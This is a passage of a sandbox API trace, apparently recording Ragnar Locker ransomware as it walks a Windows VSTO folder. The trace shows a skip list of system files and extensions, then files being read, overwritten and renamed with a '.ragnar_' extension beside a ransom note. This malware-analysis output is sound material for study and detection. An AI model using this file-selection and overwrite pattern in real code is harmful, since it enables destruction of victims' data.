Shared\\VSTO\\10.0\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0078.466] lstrcpyW (in: lpString1=0x1eab62, lpString2="VSTOInstaller.exe" | out: lpString1="VSTOInstaller.exe") returned="VSTOInstaller.exe" [0078.466] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned=".exe" [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="autorun.inf") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="boot.ini") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="bootfont.bin") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="bootsect.bak") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="bootmgr") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="bootmgr.efi") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="bootmgfw.efi") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="desktop.ini") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="iconcache.db") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="ntldr") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="ntuser.dat") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="ntuser.dat.log") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="ntuser.ini") returned 1 [0078.466] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="thumbs.db") returned 1 [0078.466] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0078.466] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0078.466] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0078.466] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0078.466] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0078.466] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0078.466] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0078.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0078.466] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0078.466] lstrcpyW (in: lpString1=0x1eab62, lpString2="VSTOLoader.dll" | out: lpString1="VSTOLoader.dll") returned="VSTOLoader.dll" [0078.466] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned=".dll" [0078.466] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="autorun.inf") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="boot.ini") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="bootfont.bin") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="bootsect.bak") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="bootmgr") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="bootmgr.efi") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="bootmgfw.efi") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="desktop.ini") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="iconcache.db") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="ntldr") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="ntuser.dat") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="ntuser.dat.log") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="ntuser.ini") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="thumbs.db") returned 1 [0078.467] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.467] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.467] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.467] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0078.467] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0078.467] lstrcpyW (in: lpString1=0x1eab62, lpString2="VSTOMessageProvider.dll" | out: lpString1="VSTOMessageProvider.dll") returned="VSTOMessageProvider.dll" [0078.467] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned=".dll" [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="autorun.inf") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="boot.ini") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="bootfont.bin") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="bootsect.bak") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="bootmgr") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="bootmgr.efi") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="bootmgfw.efi") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="desktop.ini") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="iconcache.db") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="ntldr") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="ntuser.dat") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="ntuser.dat.log") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="ntuser.ini") returned 1 [0078.467] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="thumbs.db") returned 1 [0078.468] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.468] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.468] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0078.468] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80fe9fc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80fe9fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.468] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.468] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0078.468] lstrcmpiW (lpString1="vstoee.dll", lpString2=".") returned 1 [0078.468] lstrcmpiW (lpString1="vstoee.dll", lpString2="..") returned 1 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0078.468] lstrcmpiW (lpString1="vstoee100.tlb", lpString2=".") returned 1 [0078.468] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="..") returned 1 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0078.468] lstrcmpiW (lpString1="vstoee90.tlb", lpString2=".") returned 1 [0078.468] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="..") returned 1 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0078.468] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81036280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81036280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80fe9fc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80fe9fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.468] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0078.468] lstrcpyW (in: lpString1=0x1eb630, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.468] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.468] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.468] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0078.468] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0078.469] lstrcpyW (in: lpString1=0x1eb630, lpString2="vstoee.dll" | out: lpString1="vstoee.dll") returned="vstoee.dll" [0078.469] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll") returned=".dll" [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="autorun.inf") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="boot.ini") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="bootfont.bin") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="bootsect.bak") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="bootmgr") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="bootmgr.efi") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="bootmgfw.efi") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="desktop.ini") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="iconcache.db") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="ntldr") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="ntuser.dat") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="ntuser.dat.log") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="ntuser.ini") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee.dll", lpString2="thumbs.db") returned 1 [0078.469] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.469] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.469] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.469] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0078.469] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0078.469] lstrcpyW (in: lpString1=0x1eb630, lpString2="vstoee100.tlb" | out: lpString1="vstoee100.tlb") returned="vstoee100.tlb" [0078.469] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb") returned=".tlb" [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="autorun.inf") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="boot.ini") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="bootfont.bin") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="bootsect.bak") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="bootmgr") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="bootmgr.efi") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="bootmgfw.efi") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="desktop.ini") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="iconcache.db") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="ntldr") returned 1 [0078.469] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="ntuser.dat") returned 1 [0078.470] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="ntuser.dat.log") returned 1 [0078.470] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="ntuser.ini") returned 1 [0078.470] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="thumbs.db") returned 1 [0078.470] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.470] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.470] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.470] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.470] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.470] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.470] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0078.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.470] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16208) returned 1 [0078.470] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3f47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.470] GetProcessHeap () returned 0x580000 [0078.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.470] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0078.472] VirtualAlloc (lpAddress=0x0, dwSize=0x3f50, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.472] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.472] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0078.472] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3f50, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3f50, lpOverlapped=0x0) returned 1 [0078.473] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0078.473] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f50, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.473] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3f50, lpOverlapped=0x0) returned 1 [0078.473] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.473] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.474] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3f50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.474] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.474] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0078.474] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0078.474] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0078.474] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.474] GetProcessHeap () returned 0x580000 [0078.474] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.474] CloseHandle (hObject=0x100) returned 1 [0078.474] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" [0078.474] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.ragnar_FD7BD9FC" [0078.474] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.475] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, 